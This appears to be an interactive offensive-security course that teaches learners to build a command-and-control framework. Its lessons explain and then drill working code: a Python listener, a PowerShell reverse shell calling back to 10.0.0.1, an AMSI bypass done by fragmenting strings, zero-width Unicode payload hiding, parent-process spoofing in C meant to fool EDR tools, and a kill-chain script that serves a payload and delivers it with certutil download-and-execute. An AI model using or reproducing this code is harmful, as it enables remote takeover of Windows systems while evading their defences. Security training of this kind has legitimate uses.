The Listener — Base Camp Radio Operator
You don't knock on the target's door. You set up a listening post and wait for them to call you. That's the whole trick — it bypasses inbound firewall rules because they initiated the connection.
// NOMENCLATURE — PYTHON 3 SOCKETS
import socket | Loads Python's network comms module. Like calling in the signals unit before you can transmit. |
socket.socket() | Creates a transceiver object. Needs two params: address family + socket type. |
AF_INET | Address Family: Internet. IPv4 addressing — the standard 4-octet format (10.0.0.1). AF_INET6 would be IPv6. |
SOCK_STREAM | TCP — reliable, ordered, connection-based stream. Every byte arrives in order. SOCK_DGRAM would be UDP (fire and forget). |
SO_REUSEADDR | Allow reuse of the port immediately after crash/restart. Without this, the OS holds the port in TIME_WAIT for 60 seconds after close. |
bind("0.0.0.0", port) | Tunes to this frequency on ALL network interfaces. 0.0.0.0 = any NIC. Port = the channel (0-65535). |
listen(1) | Sets receive mode. The number is the backlog queue — max pending connections waiting to be accepted. |
accept() | BLOCKS HERE. Returns (conn_socket, (ip, port)) the instant a client connects. Your process sits frozen until that call arrives. |
encode() / decode() | The network sends raw bytes. Python strings are Unicode text. encode() = text→bytes (for sending). decode() = bytes→text (for printing). |
import socket # signals unit — load the network module def listen(port=4443): # default port 4443: near 443 (HTTPS), less flagged by IDS srv = socket.socket( socket.AF_INET, # IPv4 (standard internet addressing) socket.SOCK_STREAM) # TCP: reliable, ordered stream — NOT UDP srv.setsockopt( socket.SOL_SOCKET, # option level: socket-level (not TCP-level) socket.SO_REUSEADDR, # immediately reuse port after crash/restart 1) srv.bind(("0.0.0.0", port)) # 0.0.0.0 = all interfaces. Listen on any NIC. srv.listen(1) # ready to receive. 1 = max queued connections. print(f"[*] Listening on :{port}") conn, addr = srv.accept() # BLOCKS until a client connects. Returns socket + address. print(f"[+] Connection from {addr[0]}") # addr = (ip_string, port_number) while True: cmd = input("shell> ").strip() # operator types command if not cmd: continue # empty input — try again conn.send((cmd + "\n").encode()) # \n terminates the line. encode() = text→bytes output = conn.recv(65535) # receive up to 64KB of output from target print(output.decode(errors="replace"), end="") # print. replace=survive bad bytes
Write the Python TCP listener from memory. You understand what each line does — now prove it. Match the structure: socket creation, setsockopt, bind, listen, accept, the command loop. Comments stripped by the checker — understanding is the goal, not copy-paste.
// WHY THIS WORKS
The key insight: accept() blocks. Your whole program halts there, doing nothing, until a client connects. The OS handles the queue. Once a socket is accepted, you have a full-duplex channel — send/recv independently. The listener socket (srv) goes idle; the connection socket (conn) is what you work with.
The Enemy's Radio — Running Their Playbook
PowerShell is pre-installed on every Windows machine, signed by Microsoft, whitelisted by default. You're not dropping a binary. You're issuing commands in the host's own language — from memory if you use IEX. Leaves no file on disk.
// NOMENCLATURE — POWERSHELL + .NET
$variable | All PS variables start with $. Like naming a kit bag. Holds any value — string, object, number. $client holds the entire TCP connection object. |
[Net.Sockets.TcpClient] | A .NET type reference. Square brackets = "this is a type name, not a string." Tells PS to load that specific class from the .NET Framework. |
New-Object | Instantiates a .NET class. Like submitting a requisition for a specific piece of equipment. Returns the live object. |
.GetStream() | Returns the raw byte pipe over the TCP connection. All data flows through this — you wrap it in reader/writer for text. |
StreamWriter | Wraps the stream for sending text lines. WriteLine() sends a string + newline. AutoFlush means don't buffer — transmit immediately. |
StreamReader | Wraps the stream for receiving text lines. ReadLine() blocks until a newline arrives — returns the line as a string. |
cmd.exe /c | Run a command in cmd.exe and exit. /c = "carry out this command then quit." 2>&1 = redirect stderr into stdout so errors come back too. |
Out-String | Converts PowerShell output objects to a plain text string. Without it, you get serialised PS objects, not readable text. |
$ip = "10.0.0.1" # attacker IP — where to call back $port = 4443 # must match the listener port $client = New-Object Net.Sockets.TcpClient($ip, $port) # TCP connect outbound $stream = $client.GetStream() # raw byte pipe $writer = New-Object IO.StreamWriter($stream) # wraps stream for sending text $writer.AutoFlush = $true # don't buffer — send immediately $reader = New-Object IO.StreamReader($stream) # wraps stream for receiving text $writer.WriteLine("OK") # signal: connection alive while ($true) { $cmd = $reader.ReadLine() # BLOCKS until operator sends a command if (-not $cmd) { break } # null = connection dropped, exit try { $out = (cmd.exe /c $cmd 2>&1) | Out-String # run. capture stdout+stderr. stringify. } catch { $out = "ERROR: $_" # catch PS exceptions, report back } $writer.WriteLine($out) # send output back to operator }
Write the PowerShell reverse shell. Connect to 10.0.0.1:4443. Get stream, wrap in writer/reader, signal OK, enter the command loop. Run each command with cmd.exe /c, capture 2>&1, send back.
// WHY THIS WORKS
The 2>&1 is critical — without it, any command that outputs to stderr (errors, warnings) sends nothing back and your shell looks broken. Out-String is equally critical — PS commands return objects; the listener expects text. Without the conversion, you get garbage.
Talking in Code — The Checkpoint Linguist
AMSI scans strings as they load into memory. It knows every forbidden phrase by signature. Your counter: fragment the phrases at syllable boundaries. The scanner sees three innocent pieces. At runtime they recombine — and AMSI already passed them.
// NOMENCLATURE — AMSI + OBFUSCATION
AMSI | Antimalware Scan Interface. Microsoft API that intercepts script content and forwards it to the installed AV engine for scanning. Fires on string load — not just file access. |
| string splitting | Breaking a forbidden class name into fragments joined with '+'. 'Net.S'+'ock'+'ets' assembles at runtime; the scanner sees three harmless fragments. |
New-Object -T | Shorthand for -TypeName. Accepts a string evaluated to a type at runtime — after the fragments have already been cleared by AMSI's scan. |
-A | Shorthand for -ArgumentList. The constructor arguments. Equivalent to the parameters in New-Object TypeName(arg1, arg2). |
| reflection | Loading .NET types by string name at runtime rather than static declaration. The type name is assembled dynamically — impossible to signature-match before runtime. |
| signature detection | AV looks for known strings/byte sequences (signatures). Split the string → exact signature doesn't exist in source → scanner clears it. |
| concatenation at runtime | The + operator joins strings at EXECUTION time, not at scan time. AMSI scans before execution. By the time the full name exists, it's already through the gate. |
$h = "10.0.0.1" $p = 4443 # TYPE NAMES FRAGMENTED — each piece is harmless. Assembled = the class name AMSI blocks. $T1 = 'Net.S'+'ock'+'ets.T'+'cp'+'Cli'+'ent' # → Net.Sockets.TcpClient $T2 = 'IO.St'+'ream'+'Wri'+'ter' # → IO.StreamWriter $T3 = 'IO.St'+'ream'+'Rea'+'der' # → IO.StreamReader # New-Object -T: TypeName as a runtime string. AMSI already cleared the fragments. $client = New-Object -T $T1 -A ($h, $p) # TCP connect outbound $stream = $client.GetStream() $writer = New-Object -T $T2 -A $stream # wrap: send text $writer.AutoFlush = $true $reader = New-Object -T $T3 -A $stream # wrap: receive text $writer.WriteLine("OK") # signal alive
Write the AMSI-bypassed connection setup. Fragment the three type names, reassemble with +, use New-Object -T / -A. Same outcome as Lesson 2 — same functionality, different form that evades string-scanning detection.
// WHY THIS WORKS
AMSI hooks PowerShell's script block compilation. It sees the source text. If Net.Sockets.TcpClient appears as a continuous string, it flags it. Split across four string literals joined by +, none of those literals match the signature — so AMSI passes it. The concatenation happens at runtime inside the interpreter, after the scan.
Invisible Ink — The 16-Character Alphabet
Every byte splits into two 4-bit halves (nibbles). Each nibble indexes into a 16-character alphabet of Unicode zero-width characters. The result looks like nothing — but it carries your payload.
// NOMENCLATURE — BYTES AND BIT OPERATIONS
byte | 8 bits. Holds a value 0-255. Every piece of data — text, images, executables — is a sequence of bytes. |
| nibble | Half a byte. 4 bits. Holds a value 0-15. Exactly enough to index a 16-character alphabet. |
byte >> 4 | Right-shift 4 positions. Moves the top 4 bits down to positions 0-3. The bottom 4 bits drop off. Extracts the HIGH nibble. |
& 0x0F | AND with 00001111 in binary. Zeroes out the top 4 bits, keeps the bottom 4. Extracts the LOW nibble. Also applied after >> to be safe. |
| zero-width character | Unicode code points that take up no visual space. U+200B (ZWSP), U+200C (ZWNJ), etc. Invisible in browsers, text editors, terminals — but present in the string data. |
GHOST_ALPHABET[i] | Your codebook. 16 invisible characters indexed 0-15. Nibble value → invisible character. The recipient has the same list → reverses the lookup. |
''.join(list) | Concatenates a list of strings into one string. The entire encoded payload is one long invisible string, appended to host text. |
def encode_bytes(data: bytes) -> str:
encoded = []
for byte in data: # iterate each byte 0-255
high = (byte >> 4) & 0x0F # right-shift 4: get top nibble (0-15)
low = byte & 0x0F # mask bottom 4: get low nibble (0-15)
encoded.append(GHOST_ALPHABET[high]) # high nibble → invisible char
encoded.append(GHOST_ALPHABET[low]) # low nibble → invisible char
return ''.join(encoded) # join list → single invisible string
# Example: byte 0xA3 (163) → high=0xA, low=0x3 → GHOST_ALPHABET[10] + GHOST_ALPHABET[3]
Write encode_bytes(). Iterate each byte, extract high and low nibbles with bit operations, look them up in GHOST_ALPHABET, append both, join and return. The type annotation (data: bytes) is kept by the checker.
// WHY THIS WORKS
Two characters per byte doubles the payload size — but they're all zero-width, so the visible host text is unaffected. Unicode zero-width characters survive copy-paste, file saves, and most content filters because they're valid Unicode. The codebook (GHOST_ALPHABET) is the only key — without it, you can't distinguish the invisible characters from whitespace noise.
Forging the Unit Insignia — Process Tree Deception
Windows records who spawned every process — the parent PID. A suspicious cmd.exe spawned by powershell.exe stands out. The same cmd.exe apparently spawned by explorer.exe looks like a user double-clicked something. You're forging the record before the process even starts.
// NOMENCLATURE — WIN32 API / HANDLES
HANDLE | An opaque reference to a kernel object. Like a call sign for a unit — you don't touch the unit directly, you issue orders via the call sign (handle). Must be closed when done. |
CreateToolhelp32Snapshot | Takes a snapshot of all running processes at this instant. Returns a handle to iterate. TH32CS_SNAPPROCESS = include processes in the snapshot. |
PROCESSENTRY32 | Struct representing one process in the snapshot: PID, parent PID, executable name, thread count. |
Process32First / Next | Iterators over the snapshot. First = start. Next = advance. Returns FALSE when exhausted. |
OpenProcess | Opens an existing process by PID and returns a handle. PROCESS_ALL_ACCESS = full control. Need this handle to pass as the fake parent. |
STARTUPINFOEXA | Extended version of STARTUPINFO. Has an extra field — lpAttributeList — for passing process/thread creation attributes like the spoofed parent. |
InitializeProcThreadAttributeList | Initialises the attribute list buffer. Called TWICE: first to get the required buffer size (size param gets filled), then again with an allocated buffer. |
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS | The attribute key. Value = a HANDLE to the desired parent. Windows records that handle's PID as the spawned process's parent PID. |
EXTENDED_STARTUPINFO_PRESENT | CreateProcess flag: "use STARTUPINFOEXA not the basic STARTUPINFO." Required — without it, the lpAttributeList is ignored. |
HANDLE get_explorer_handle() {
DWORD pid = 0;
// Roll call for the whole garrison — snapshot of all processes
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = {0};
pe.dwSize = sizeof(pe); // required: tell API the struct size before use
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, "explorer.exe") == 0) { // case-insensitive match
pid = pe.th32ProcessID; // found explorer — grab its PID
break;
}
} while (Process32Next(snap, &pe)); // advance to next process
}
CloseHandle(snap); // always close handles — kernel resource leak otherwise
return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // return handle to explorer
}
void spawn_spoofed(const char *cmd, HANDLE parent) {
STARTUPINFOEXA si = {0}; // zero-init extended STARTUPINFO
PROCESS_INFORMATION pi = {0};
SIZE_T size = 0;
// First call: get required buffer size (size gets filled, no buffer yet)
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
LPPROC_THREAD_ATTRIBUTE_LIST attrs =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
// Second call: actually initialise in the allocated buffer
InitializeProcThreadAttributeList(attrs, 1, 0, &size);
// Set the spoofed parent — Windows records this handle's PID as the parent
UpdateProcThreadAttribute(attrs, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent,
sizeof(parent), NULL, NULL);
si.StartupInfo.cb = sizeof(si); // size field must match struct in use
si.lpAttributeList = attrs; // attach the spoofed-parent attribute list
CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | // flag: use STARTUPINFOEXA not basic
CREATE_NO_WINDOW, // don't pop a visible window
NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
}
Write both functions: get_explorer_handle() and spawn_spoofed(). The first finds explorer.exe in the process list and returns an open handle. The second uses that handle to create a process with a spoofed parent. C syntax — structs, pointers, Win32 types.
// WHY THIS WORKS
The Windows kernel records the parent PID at spawn time from the attribute list — it trusts what you provide. Security tools like EDRs read the parent PID from the process table and check the ancestry. Since you wrote explorer.exe's PID there, the ancestry looks benign. The actual code that created the process is irrelevant — only the recorded parent matters.
Mission Coordinator — Simultaneous Operations
You're not one soldier anymore. The file server runs in parallel (weapons cache), the listener runs in the main thread (waiting for callback), and the delivery command goes via whatever access you have. When the callback arrives, you own the shell.
// NOMENCLATURE — THREADING + ORCHESTRATION
threading.Thread | Spawns a parallel execution path in the same process. The OS schedules it to run independently — functions you'd otherwise have to wait for can run simultaneously. |
daemon=True | Daemon threads die when the main process exits. Without this, a background file server would keep your script alive even after the shell closes. |
target | The function the thread will run. Executes in a separate thread context — its variables are independent of the main thread's. |
thread.start() | Kicks off the thread. Execution begins in target() with args. The main thread continues immediately — no waiting. |
certutil -urlcache | Windows built-in certificate utility. Side capability: downloads URLs. LOLBin — pre-installed, signed, trusted. No binary to drop for the download step. |
| LOLBin | Living Off the Land Binary. Pre-installed, signed Windows tools (certutil, mshta, regsvr32, rundll32) that can execute code. Attackers use them to avoid dropping new binaries. |
| kill chain | The sequence: payload built → delivery staged → listener ready → target fetches → target executes → shell callback received. Each link must hold. |
import threading, socket, subprocess, sys, os, time
def auto_op(target_ip, port=4443, serve_port=8080):
payload_path = build_payload(target_ip, port) # build the PS1/EXE payload
print(f"[*] Payload: {payload_path}")
# SQUAD 1: file server in background thread (weapons cache)
server_thread = threading.Thread(
target=serve_files, args=(serve_port,), daemon=True
)
server_thread.start() # starts immediately, non-blocking
print(f"[*] File server on :{serve_port}")
# DELIVERY COMMAND: uses certutil (LOLBin — pre-installed, trusted binary)
cmd = (f"certutil -urlcache -split -f "
f"http://{get_local_ip()}:{serve_port}/payload.exe "
f"C:\\\\Users\\\\Public\\\\svc.exe && "
f"start /B C:\\\\Users\\\\Public\\\\svc.exe")
print(f"[*] Deliver via: {cmd}")
# SQUAD 2: listener in main thread — waits for callback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", port))
srv.listen(1)
print(f"[*] Waiting for callback on :{port}...")
conn, addr = srv.accept() # BLOCKS until callback arrives
print(f"[+] Shell from {addr[0]}")
watch_session(conn) # hand off to interactive handler
Write auto_op(). Build the payload, start the file server in a daemon thread, print the certutil delivery command, set up the listener socket, accept the callback, hand off to watch_session.
// WHY THIS WORKS
The daemon=True flag is load-bearing. Without it, when the main thread finishes (shell session ends), Python won't exit because the file server thread is still running. Daemon threads are automatically killed when the main thread exits. The file server is a side service — it shouldn't outlive the operation.
// CHEYANNE C2 — COMPLETE
You built a dual-channel C2 framework from scratch.
TCP reverse shell. AMSI bypass. Zero-width steganography. Parent process spoofing. Kill chain automation.